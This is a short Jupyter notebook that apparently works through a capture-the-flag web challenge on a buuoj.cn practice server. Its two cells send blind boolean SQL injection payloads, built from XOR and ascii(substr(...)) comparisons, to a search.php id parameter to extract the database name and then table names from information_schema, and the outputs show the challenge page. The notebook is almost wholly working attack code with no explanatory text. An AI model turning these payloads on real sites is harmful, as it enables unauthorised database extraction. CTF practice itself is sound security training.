{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 4,
   "id": "driven-gather",
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'<!DOCTYPE html>\\r\\n<html>\\r\\n<head>\\r\\n        <meta charset=\"UTF-8\">\\r\\n        <title>FLAG</title>\\r\\n</head>\\r\\n<body background=\"./image/background.jpg\" style=\"background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;\" >\\r\\n<div style=\"position: absolute;bottom: 0;width: 99%;\"><p align=\"center\" style=\"font:italic 15px Georgia,serif;color:white;\"> Syclover @ cl4y</p></div>\\r\\n\\r\\n\\r\\n\\t\\t\\t<body background=\\'./image/background.jpg\\' style=\\'background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;\\'>\\r\\n\\t\\t\\t\\t<br><br><br>\\r\\n\\t\\t\\t\\t<h1 style=\\'font-family:verdana;color:red;text-align:center;font-size:40px;\\'>NO! Not this! Click others~~~</h1>\\r\\n\\t\\t\\t\\t</br>\\r\\n\\t\\t\\t</body>\\t\\t\\t\\r\\n\\t\\t\\t\\t\\r\\n\\r\\n</body>\\r\\n</html>'"
      ]
     },
     "execution_count": 4,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "import requests\n",
    "\n",
    "url = \"http://5c4bcb3e-d2b1-48e0-be2a-3144cde20a97.node3.buuoj.cn/search.php?id=\"\n",
    "payload = f\"1^((ascii(substr(database(),1,1)))>(132))--%20\"\n",
    "\n",
    "tmp_url = url + payload\n",
    "r = requests.get(tmp_url)\n",
    "r.text"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "id": "visible-diameter",
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'<!DOCTYPE html>\\r\\n<html>\\r\\n<head>\\r\\n        <meta charset=\"UTF-8\">\\r\\n        <title>FLAG</title>\\r\\n</head>\\r\\n<body background=\"./image/background.jpg\" style=\"background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;\" >\\r\\n<div style=\"position: absolute;bottom: 0;width: 99%;\"><p align=\"center\" style=\"font:italic 15px Georgia,serif;color:white;\"> Syclover @ cl4y</p></div>\\r\\n\\r\\n\\r\\n\\t\\t\\t<body background=\\'./image/background.jpg\\' style=\\'background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;\\'>\\r\\n\\t\\t\\t\\t<br><br><br>\\r\\n\\t\\t\\t\\t<h1 style=\\'font-family:verdana;color:red;text-align:center;font-size:40px;\\'>NO! Not this! Click others~~~</h1>\\r\\n\\t\\t\\t\\t</br>\\r\\n\\t\\t\\t</body>\\t\\t\\t\\r\\n\\t\\t\\t\\t\\r\\n\\r\\n</body>\\r\\n</html>'"
      ]
     },
     "execution_count": 6,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "payload = f\"1^((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=('geek')),1,1)))>(120))--%20\"\n",
    "tmp_url = url + payload\n",
    "r = requests.get(tmp_url)\n",
    "r.text"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "occasional-captain",
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.8.5"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}
